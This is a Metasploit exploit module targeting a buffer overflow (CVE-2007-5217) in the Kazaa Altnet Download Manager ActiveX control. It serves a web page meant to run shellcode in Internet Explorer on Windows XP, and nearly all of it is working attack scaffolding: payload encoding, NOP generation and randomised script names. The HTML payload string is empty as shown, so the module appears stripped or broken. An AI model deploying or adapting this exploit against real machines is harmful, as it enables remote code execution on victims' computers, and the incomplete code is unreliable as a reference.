##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Kazaa Altnet Download Manager ActiveX Control Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the Altnet Download Manager ActiveX
Control (amd4.dll) bundled with Kazaa Media Desktop 3.2.7.
By sending an overly long string to the "Install()" method, an attacker may be
able to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'MC' ],
'References' => [
[ 'CVE', '2007-5217' ],
[ 'OSVDB', '37785' ],
[ 'URL', 'http://web.archive.org/web/20071014051150/http://secunia.com:80/advisories/26970' ],
],
'DefaultOptions' => {
'EXITFUNC' => 'process',
},
'Payload' => {
'Space' => 1024,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' => [
[ 'Windows XP SP0-SP2 / IE 6.0SP1 English', { 'Ret' => '\x0c\x0c\x0c\x0c' } ]
],
'DisclosureDate' => '2007-10-03',
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
)
)
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Encode the shellcode
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
# Create some nops
nops = Rex::Text.to_unescape(make_nops(4))
# Randomize the javascript variable names
vname = rand_text_alpha(rand(100) + 1)
var_i = rand_text_alpha(rand(30) + 2)
rand1 = rand_text_alpha(rand(100) + 1)
rand2 = rand_text_alpha(rand(100) + 1)
rand3 = rand_text_alpha(rand(100) + 1)
rand4 = rand_text_alpha(rand(100) + 1)
rand5 = rand_text_alpha(rand(100) + 1)
rand6 = rand_text_alpha(rand(100) + 1)
rand7 = rand_text_alpha(rand(100) + 1)
rand8 = rand_text_alpha(rand(100) + 1)
randnop = rand_text_alpha(rand(100) + 1)
# Build out the message
content =
"\n" +
"\n" +
"\n" +
""
content = Rex::Text.randomize_space(content)
print_status("Sending #{self.name}")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end